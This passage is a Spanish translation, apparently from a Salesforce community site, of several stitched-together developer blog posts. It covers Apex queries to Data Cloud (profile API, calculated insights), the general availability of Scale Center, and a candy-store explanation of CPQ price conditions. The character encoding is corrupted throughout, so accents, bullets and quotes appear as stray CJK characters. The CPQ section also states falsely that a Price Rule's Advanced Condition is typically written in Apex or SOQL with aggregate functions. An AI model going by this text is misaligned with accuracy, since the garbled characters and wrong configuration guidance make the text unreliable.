  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un l铆mite de CPU de 10 segundos para transacciones sincr贸nicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, aseg煤rese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que est谩 trabajando) para limitar la cantidad de filas y evitar alcanzar el l铆mite de CPU de 10 segundos.
  • Si est谩 recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincr贸nica y aproveche el l铆mite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tama帽os de respuesta m谩s grandes para casos de uso en los que necesita extraer grandes vol煤menes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • Tambi茅n puede usar SOQL en lugar de SQL, pero aseg煤rese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

C贸mo buscar informaci贸n de perfil

Antes de analizar c贸mo buscar informaci贸n de perfil de Data Cloud en Apex, debemos comprender qu茅 es un perfil unificado.

Perfil unificado y resoluci贸n de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene informaci贸n diferente sobre ella, como diferentes direcciones de correo electr贸nico. Estos datos 煤nicos se denominan puntos de contacto . Los clientes como Martha est谩n representados por m煤ltiples registros de contacto y perfiles espec铆ficos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una funci贸n de resoluci贸n de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentaci贸n y activaciones en varios otros sistemas.

Buscar informaci贸n de perfil de Data Cloud

A continuaci贸n se muestra un c贸digo Apex de utilidad de ejemplo que busca informaci贸n de perfil. Tenga en cuenta que se utiliza el m茅todo queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } 芦>

Aqu铆 hay un fragmento de c贸digo de ejemplo que invoca el c贸digo de utilidad anterior al pasar los par谩metros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); 芦>

El c贸digo busca la informaci贸n de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del c贸digo

  • El m茅todo utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los par谩metros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de b煤squeda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar par谩metros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificaci贸n para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El m茅todo devuelve response.data , que representa los datos recuperados de la consulta

Importante consideraci贸n

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el c贸digo de Apex, ya que, de lo contrario, el m茅todo puede generar excepciones y errores internos del servidor.

驴C贸mo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular m茅tricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera informaci贸n calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de informaci贸n en Data Cloud: transmisi贸n e informaci贸n calculada.

Los conocimientos calculados son funciones que pueden calcular m茅tricas en datos hist贸ricos. Se procesan en lotes. Por ejemplo, en nuestra aplicaci贸n Solar Circles, podemos tener una visi贸n calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La informaci贸n de transmisi贸n se genera casi en tiempo real mediante el an谩lisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activaci贸n inmediata de acciones en los sistemas posteriores. Por ejemplo, la informaci贸n de transmisi贸n se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia m铆nima. Al aprovechar una acci贸n de datos en la transmisi贸n de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el m茅todo queryCalculatedInsights de la clase CdpQuery . A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del c贸digo

  • El m茅todo queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar informaci贸n calculada de Data Cloud.
  • El primer par谩metro es el nombre de API de la informaci贸n calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podr铆a reemplazarse por totalpowergenerated__cio .
  • Los siguientes par谩metros especifican dimensiones y medidas. Una dimensi贸n representa un campo o atributo en el que se basa la informaci贸n, mientras que una medida representa la m茅trica calculada. Proporcionar null para estos par谩metros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificaci贸n para el conjunto de resultados, pero en este fragmento de c贸digo, se establece en null .
  • Los par谩metros opcionales adicionales incluyen filtrar el conjunto de resultados a un 谩mbito o tipo m谩s espec铆fico y especificar la cantidad de elementos que se devolver谩n y la cantidad de filas que se omitir谩n antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideraci贸n

  • Aseg煤rese de proporcionar el nombre de API correcto para la informaci贸n. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusi贸n

En esta publicaci贸n de blog, brindamos una descripci贸n general de c贸mo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de c贸digo y los puntos destacados demuestran enfoques pr谩cticos para acceder y consultar datos de objetos de Data Cloud.

La publicaci贸n tambi茅n destaca las mejores pr谩cticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los l铆mites de la CPU, utilizar el procesamiento asincr贸nico para grandes conjuntos de datos y garantizar la denominaci贸n correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar informaci贸n calculada, crear reglas de resoluci贸n de identidad y segmentaci贸n en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma de Salesforce. Actualmente se est谩 enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de su Twitter @msrivastav13 .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Salesforce Scale Center est谩 generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicaci贸n dise帽ada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con informaci贸n mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las m茅tricas de rendimiento de la organizaci贸n y a los conocimientos pr谩cticos.

En esta publicaci贸n, escuchar谩 c贸mo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto cr铆tico del dise帽o e implementaci贸n de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Dise帽ar para el futuro y predecir y simular el tr谩fico comercial futuro puede ser un desaf铆o. Si bien algunos errores pueden detectarse durante la fase de dise帽o, la mayor铆a de los errores ocurren solo durante el tiempo de ejecuci贸n en producci贸n y, a veces, se manifiestan durante las cargas m谩ximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las m茅tricas de rendimiento necesarias para aislar los puntos cr铆ticos y la capacidad de profundizar en estos puntos cr铆ticos para el an谩lisis de la causa ra铆z y la gu铆a de remediaci贸n. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicaci贸n de manera proactiva en lugar de reactivamente, asegurando soluciones m谩s disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visi贸n completa de sus m茅tricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instant谩nea de las m茅tricas de rendimiento de su organizaci贸n durante un intervalo de tiempo definido. A los clientes se les proporciona un panel 煤nico de visualizaci贸n de errores comunes, incluidos inicios de sesi贸n fallidos, errores de Apex simult谩neos y errores de Rowlock. Adem谩s, los clientes pueden ver las m茅tricas clave visualizadas en un gr谩fico durante la duraci贸n del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar r谩pidamente puntos cr铆ticos de rendimiento y escala.

Llevar a cabo un an谩lisis profundo de un problema de rendimiento

Caso de uso: optimizaci贸n del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos cr铆ticos, problemas y picos dentro de las m茅tricas de rendimiento, los clientes pueden investigar los componentes y sistemas que est谩n causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicaci贸n lleva mucho tiempo y falla con frecuencia. A continuaci贸n, explicaremos c贸mo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gr谩fico de CPU de la base de datos .

2. En el gr谩fico, haga clic y arrastre para resaltar los picos en las m茅tricas de rendimiento.

3. Seleccione el tipo de informe e inicie un an谩lisis de la base de datos.

4. Cambie a la pesta帽a An谩lisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qu茅 acciones espec铆ficas est谩n provocando una mala experiencia del usuario final.

Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, L铆mites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los an谩lisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes per铆odos de tiempo

Salesforce Scale Center permite a los clientes comparar las m茅tricas de rendimiento de la organizaci贸n en diferentes per铆odos de tiempo. Los casos de uso clave incluyen:

  • Preparaci贸n para la implementaci贸n de producci贸n:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producci贸n
  • Evaluaci贸n del impacto posterior a la implementaci贸n:
    • Despu茅s de un lanzamiento importante o una implementaci贸n de funciones en producci贸n, aproveche Scale Center para comparar las m茅tricas de la organizaci贸n antes y despu茅s de la implementaci贸n.
    • Determinar si la implementaci贸n ha tenido alg煤n impacto negativo en el desempe帽o general de la organizaci贸n.
  • An谩lisis del rendimiento durante los d铆as pico:
    • Utilice la funci贸n de comparaci贸n de Scale Center para evaluar el impacto en el rendimiento de la organizaci贸n durante los d铆as pico.
    • Compare las m茅tricas de tr谩fico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

C贸mo comparar per铆odos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparaci贸n.

2. Compare las m茅tricas de primera l铆nea.

3. Compare los gr谩ficos de rendimiento de la organizaci贸n.

Al aprovechar la funci贸n de comparaci贸n de Scale Center, los desarrolladores pueden obtener informaci贸n valiosa sobre el rendimiento de la organizaci贸n, identificar 谩reas de optimizaci贸n y garantizar un proceso de implementaci贸n fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y est谩 disponible en todas las organizaciones de sandbox de copia completa y de producci贸n de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organizaci贸n y no accede a los datos de su organizaci贸n
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center est茅 habilitado en una organizaci贸n fuera de UE, comun铆quese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuraci贸n.
  2. Ingrese "Centro de escala" en el cuadro B煤squeda r谩pida y haga clic en la pesta帽a Rendimiento de la organizaci贸n en la hoja Rendimiento.
  3. Habilite Scale Center para su organizaci贸n activando la opci贸n Habilitar Scale Center .

Tenga en cuenta que las m茅tricas de rendimiento pueden tardar hasta dos horas en aparecer despu茅s de habilitar Scale Center.

M谩s recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Sugar Rush of Salesforce CPQ Pricing: 隆Revelaci贸n de condiciones de precio y acciones en el pa铆s de las maravillas de las tiendas de golosinas!

Sugar Rush of Salesforce CPQ Pricing: 隆Revelaci贸n de condiciones de precio y acciones en el pa铆s de las maravillas de las tiendas de golosinas!

隆Bienvenido al encantador Candy Store Wonderland, donde nos sumergiremos en la encantadora aventura de la magia de fijaci贸n de precios de Salesforce CPQ! Desenvolveremos la condici贸n del precio y la acci贸n del precio con los escenarios de la tienda de golosinas.

Exploraremos ejemplos de condiciones de precios cubiertas de dulces como "Obtenga una bolsa de regalo con la compra de deliciosos dulces de chocolate", acciones de precios dulces como "Compre uno, obtenga un dulce gratis para duplicar la dulzura" que lo dejar谩n con ganas de m谩s. Descubriremos c贸mo se pueden personalizar las condiciones de precio y las acciones para crear promociones, descuentos y ofertas 煤nicos que hagan que los clientes regresen para disfrutar de m谩s aventuras llenas de dulces.

隆Despleguemos juntos la magia de los precios!

Precio Condici贸n

Exploremos el uso del objeto Condici贸n de precio con la ayuda de casos de uso.

1. Descuento por tipo de caramelo:

鈥 Condici贸n: establezca el campo en "Tipo de caramelo" y el operador en "Iguales". Especifique el valor como "Ositos de gominola".

鈥 Resultado: cuando un cliente agrega dulces de ositos de goma a su cotizaci贸n, la Condici贸n de precio evaluar谩 el tipo de dulce y aplicar谩 la acci贸n de fijaci贸n de precios definida, como un descuento o un precio ajustado.

2. Umbral de cantidad:

鈥 Condici贸n: Defina el Campo como 鈥淐antidad鈥 y el Operador como 鈥淢ayor que鈥 o 鈥淚gual鈥. Establezca el Valor como un umbral de cantidad espec铆fico, como 10.

鈥 Resultado: cuando un cliente agrega dulces a su cotizaci贸n y la cantidad supera el umbral especificado, la condici贸n de precio activar谩 una acci贸n de fijaci贸n de precios, como un descuento por volumen o un nivel de precios diferente.

3. Condici贸n de atributo personalizado:

鈥 Condici贸n: defina un campo personalizado en la secci贸n Campo, como 鈥淒ulces org谩nicos鈥. Establezca el Operador en "Equals" y el Valor en "True".

鈥 Resultado: cuando un cliente agrega dulces org谩nicos a su cotizaci贸n, la Condici贸n de precio verificar谩 el atributo personalizado y aplicar谩 una acci贸n de precio espec铆fica, como un precio premium o un descuento para productos org谩nicos.

4. Promoci贸n basada en fechas:

鈥 Condici贸n: Especifique el campo como 鈥淔echa de cotizaci贸n鈥 Establezca el Operador en 鈥淒entro del rango鈥 y proporcione el rango de fechas deseado para la promoci贸n.

鈥 Resultado: cuando la cotizaci贸n o el art铆culo de l铆nea se encuentran dentro del rango de fechas especificado, la Condici贸n de precio activar谩 una acci贸n de fijaci贸n de precios, como un descuento por tiempo limitado o una oferta especial.

El objeto Regla de precio y Condici贸n de precio tienen una relaci贸n maestro-detalle.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Descripci贸n de los campos en el objeto de condici贸n de precio

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Cu谩l es el uso del campo de regla de precio en el objeto de condici贸n de precio?

Conecta la condici贸n de precio con la regla de precio principal. Significa a qu茅 regla de precio est谩 asociada la condici贸n de precio y determina bajo qu茅 regla se debe evaluar la condici贸n.

驴Cu谩l es el significado de Objeto y Campo en la Condici贸n de Precio?

Fondo con rayas amarillas y blancas Descripci贸n generada autom谩ticamente

Al crear una Condici贸n de precio, selecciona el objeto apropiado de las opciones disponibles en el campo "Objeto". Esto especifica el objeto relacionado al que desea hacer referencia en la condici贸n. Una vez que seleccione el objeto, puede elegir el campo espec铆fico de ese objeto en el campo "Campo de objeto".

Por ejemplo, supongamos que tiene una Condici贸n de precio que verifica si el campo "Sabor a caramelo" en el objeto L铆nea de cotizaci贸n relacionado es igual a "Lim贸n". En este caso, seleccionar铆a el objeto "L铆nea de cotizaci贸n" en el campo "Objeto" y luego elegir铆a el campo "Sabor a caramelo".

Escenario: configure una condici贸n de precio para verificar si el campo "Tipo" del caramelo asociado con la l铆nea de cotizaci贸n es igual a "Gummy Bear".

As铆 es como funciona:

1. En el registro de Condici贸n de precio, seleccionar铆a el objeto "L铆nea de cotizaci贸n" en el campo "Objeto". Esto indica que desea evaluar un campo del objeto L铆nea de cotizaci贸n.

2. A continuaci贸n, en el campo "Object Field", elegir铆a el campo "Candy.Type". Esto especifica que desea hacer referencia al campo "Tipo" del objeto Candy relacionado asociado con la l铆nea de cotizaci贸n.

3. Para completar la condici贸n, establecer铆a el operador como "Equals" y proporcionar铆a el valor "Gummy Bear". Esta condici贸n verificar谩 si el tipo de Caramelo para la l铆nea de cotizaci贸n asociada es "Gummy Bear".

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Qu茅 es el campo variable probado en la condici贸n de precio?

El campo "Variables probadas" en el objeto Condici贸n de precio le permite almacenar y hacer referencia a valores intermedios durante la evaluaci贸n de la condici贸n. Entendamos su uso con un ejemplo de caramelo.

Escenario: Desea aplicar un descuento en un tipo espec铆fico de golosina, pero solo si la cantidad total de todos los art铆culos de golosina en la cotizaci贸n supera un l铆mite determinado.

1. Precio Condici贸n:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 Campo de objeto: Producto.Tipo (para verificar el tipo de dulce)

鈥 Condici贸n: Tipo de Caramelo es igual a 鈥淏arra de Chocolate鈥

2. Variables probadas:

鈥 Cree una variable probada llamada "TotalCandyQty" para almacenar la cantidad total de todos los art铆culos de dulces en la cotizaci贸n.

3. Acci贸n del precio:

鈥 Objeto: Cita

鈥 Campo de objeto: Porcentaje de descuento

鈥 Acci贸n: Actualizar Campo

鈥 Valor: si TotalCandyQty es mayor que 10, establezca el Porcentaje de descuento en 10 %; de lo contrario, aj煤stelo al 5%.

Soluci贸n

En este ejemplo, la Condici贸n de precio verifica si el tipo de dulce es "Barra de chocolate" para cada l铆nea de cotizaci贸n. Si coincide, puede utilizar el campo "Variables probadas" para almacenar la cantidad total de todos los dulces en la cotizaci贸n.

La Acci贸n del precio luego actualiza el campo Porcentaje de descuento en la Cotizaci贸n en funci贸n del valor de la variable probada "TotalCandyQty". Si la cantidad total de art铆culos de dulces en la cotizaci贸n supera los 10, se aplica un descuento del 10%. En caso contrario, se aplica un descuento del 5%.

Al usar el campo "Variables probadas", puede calcular y almacenar la cantidad total de dulces en la cotizaci贸n y usarla en acciones posteriores para determinar el porcentaje de descuento apropiado. Esto le permite aplicar diferentes descuentos en funci贸n de la cantidad total de dulces en la cotizaci贸n.

驴Cu谩l es el uso del campo de f贸rmula probado en la condici贸n de precio?

Un objeto rectangular blanco con un borde negro Descripci贸n generada autom谩ticamente

El campo "F贸rmula probada" en una Condici贸n de precio le permite definir una expresi贸n de f贸rmula que se eval煤a para determinar si la condici贸n se cumple o no. Le permite crear condiciones din谩micas que consideran diferentes factores.

Escenario: desea aplicar un descuento en un producto solo si se cumplen las siguientes condiciones:

鈥 El producto es una 鈥淏arra de Chocolate鈥 o un 鈥淥sito de Gominola鈥.

鈥 La cantidad del producto es mayor o igual a 10.

鈥 El precio total del producto supera los $50.

Para configurar esta condici贸n usando una f贸rmula probada:

1. Cree una Condici贸n de Precio con los siguientes detalles:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: ingrese la expresi贸n de la f贸rmula que combina las condiciones:

`(Tipo de producto = "Barra de chocolate" || Tipo de producto = "Osito de goma") && Cantidad >= 10 && Precio total > 50`

En este ejemplo, la f贸rmula probada combina m煤ltiples condiciones usando operadores l贸gicos (|| para OR, && para AND). Comprueba si el tipo de producto es "Barra de chocolate" o "Gummy Bear", la cantidad es mayor o igual a 10 y el precio total es mayor a $50. Solo si todas estas condiciones son ciertas, se cumplir谩 la Condici贸n de Precio.

驴Cu谩l es la diferencia entre la 鈥淔贸rmula Probada鈥 en una Condici贸n de Precio y la 鈥淐ondici贸n Avanzada鈥 en una Regla de Precio?

La "F贸rmula Probada" en una Condici贸n de Precio y la "Condici贸n Avanzada" en una Regla de Precio le permiten definir condiciones complejas para determinar cu谩ndo se debe aplicar una acci贸n o ajuste espec铆fico. Sin embargo, hay algunas diferencias clave entre ellos:

F贸rmula probada en condici贸n de precio:

鈥 Se utiliza dentro de una Condici贸n de precio para evaluar si la condici贸n se cumple o no para elementos de l铆nea de cotizaci贸n individuales.

鈥 Se eval煤a a nivel de l铆nea de pedido, considerando los valores espec铆ficos de los campos en la l铆nea de cotizaci贸n.

鈥 La f贸rmula puede incluir referencias de campo, operadores l贸gicos, comparaciones y funciones para realizar c谩lculos y comparaciones en funci贸n de los valores de los campos en la partida de presupuesto.

鈥 El resultado de la f贸rmula determina si se cumple la condici贸n y, de ser as铆, las acciones de precio asociadas se aplicar谩n a la l铆nea de cotizaci贸n.

Condici贸n avanzada en la regla de precio:

鈥 Se usa dentro de una regla de precio para definir condiciones m谩s complejas que pueden involucrar m煤ltiples elementos de l铆nea de cotizaci贸n u objetos relacionados.

鈥 Se eval煤a a nivel de regla, teniendo en cuenta los valores en varias partidas de cotizaci贸n u objetos relacionados.

鈥 La condici贸n avanzada generalmente se escribe utilizando Apex o SOQL (lenguaje de consulta de objetos de Salesforce) y puede incluir l贸gica personalizada, consultas y c谩lculos.

鈥 El resultado de la condici贸n avanzada determina si se aplica toda la regla o se omite por completo para una cotizaci贸n en particular.

En resumen, la f贸rmula probada en una Condici贸n de precio se usa para evaluar las condiciones en el nivel de partida de cotizaci贸n individual , mientras que la condici贸n avanzada en una Regla de precio permite condiciones m谩s avanzadas que involucran m煤ltiples partidas de cotizaci贸n u objetos relacionados.

Comprendamos la diferencia entre la f贸rmula probada en una Condici贸n de precio y la condici贸n avanzada en una Regla de precio con la ayuda de un ejemplo:

Gui贸n:

Dispones de una Regla de Precio para aplicar un descuento en productos en base a las siguientes condiciones:

鈥 Condici贸n 1: Aplicar un 10% de descuento si la cantidad de productos es mayor o igual a 10.

鈥 Condici贸n 2: Aplicar un 5% de descuento si el producto pertenece a una categor铆a espec铆fica, 鈥淐ategor铆a Especial鈥.

F贸rmula probada en condici贸n de precio:

En este enfoque, utilizar谩 una f贸rmula probada dentro de cada condici贸n de precio para evaluar la condici贸n en el nivel de art铆culo de l铆nea de cotizaci贸n individual.

Precio Condici贸n 1:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: `Cantidad >= 10`

Precio Condici贸n 2:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: `Producto.Categor铆a = 鈥淐ategor铆a especial鈥漙

En este ejemplo, la f贸rmula probada se usa para verificar si cada elemento de l铆nea de cotizaci贸n cumple con la condici贸n espec铆fica. Si la f贸rmula se eval煤a como verdadera para un art铆culo de l铆nea de cotizaci贸n, la acci贸n de precio asociada se aplicar谩 a ese art铆culo.

Condici贸n avanzada en la regla de precios:

En este enfoque, utilizar谩 una condici贸n avanzada dentro de la regla de precio para evaluar las condiciones a nivel de regla, considerando varios elementos de l铆nea de cotizaci贸n.

Regla de precio:

鈥 Condici贸n avanzada: `SUM(QuoteLine.Quantity) >= 10 && MAX(QuoteLine.Product.Category) = 鈥淪pecial Category鈥漙

En este ejemplo, la condici贸n avanzada se usa para evaluar las condiciones en todos los elementos de l铆nea de cotizaci贸n en la cotizaci贸n. Si la condici贸n avanzada se eval煤a como verdadera, las acciones de precio asociadas dentro de la regla de precio se aplicar谩n a todos los elementos de l铆nea de cotizaci贸n elegibles.

驴Para qu茅 sirve el campo 鈥淥perador鈥 en una Condici贸n de Precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Este campo determina la comparaci贸n u operaci贸n l贸gica a realizar al evaluar la condici贸n.

Los operadores disponibles en el campo "Operador" pueden variar seg煤n el tipo de datos del campo que se compara. Aqu铆 hay algunos operadores comunes que puede encontrar:

鈥 Igual a (=): Comprueba si el valor del campo es igual al valor especificado.

鈥 No es igual a (!=): Comprueba si el valor del campo no es igual al valor especificado.

鈥 Mayor que (>): Comprueba si el valor del campo es mayor que el valor especificado.

鈥 Menor que (<): Comprueba si el valor del campo es menor que el valor especificado.

鈥 Mayor o igual que (>=): Comprueba si el valor del campo es mayor o igual que el valor especificado.

鈥 Menor o igual que (<=): Comprueba si el valor del campo es menor o igual que el valor especificado.

鈥 Contiene: comprueba si el valor del campo contiene una subcadena o valor espec铆fico.

Por ejemplo, si tiene una Condici贸n de precio para aplicar un descuento cuando la cantidad de un producto es mayor a 10, utilizar谩 el operador "Mayor que" (>) y especificar谩 el valor 10 en la condici贸n.

驴Qu茅 es el campo Uso del tipo de filtro en el objeto de condici贸n de precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

1. Variable: Le permite seleccionar una variable de resumen que contiene un valor espec铆fico. Las variables de resumen se utilizan para almacenar y hacer referencia a valores calculados basados en agregaciones o l贸gica de f贸rmula.

2. F贸rmula: Le permite especificar una f贸rmula o expresi贸n que determina la condici贸n para que se aplique la Regla de Precio. Puede utilizar funciones de f贸rmula, operadores y referencias de campo para crear condiciones complejas basadas en los valores de la partida de presupuesto u otros objetos relacionados.

3. Valor: especifica un valor espec铆fico con el que se comparar谩 el campo de la partida de cotizaci贸n. Por lo general, se usa junto con los campos "Campo" y "Operador" para definir la condici贸n.

Juntos, la "Variable", la "F贸rmula" y el "Valor" le permiten definir las condiciones que determinan cu谩ndo se debe aplicar la regla de precio a una partida de cotizaci贸n espec铆fica.

驴Qu茅 es el campo de valor de filtro en la condici贸n de precio?

Un rect谩ngulo azul y blanco Descripci贸n generada autom谩ticamente

El valor del filtro representa el valor esperado o el umbral con el que se compara el campo de la partida de presupuesto o grupo de partidas de presupuesto. El valor del filtro puede ser un valor num茅rico, un valor de texto, una fecha o cualquier otro tipo de datos adecuado seg煤n el campo que se utilice en la condici贸n.

Escenario: regla de precio que ofrece un descuento en los dulces de ositos de goma si la cantidad supera un cierto umbral. Desea solicitar un 10% de descuento cuando la cantidad es superior a 10.

Soluci贸n

En este escenario, la Condici贸n de Precio tendr谩 la siguiente configuraci贸n:

鈥 Tipo de filtro: Campo de l铆nea de cotizaci贸n

鈥 Campo: Cantidad

鈥 Operador: Mayor que

鈥 Valor del filtro: 10

Aqu铆, el valor del filtro se establece en 10, lo que indica que la condici贸n busca una cantidad superior a 10. Al evaluar las l铆neas de cotizaci贸n, si la cantidad de dulces de ositos de goma supera los 10, la condici贸n se considera verdadera y la regla de precio con se aplicar谩 la acci贸n asociada, como aplicar el 10% de descuento.

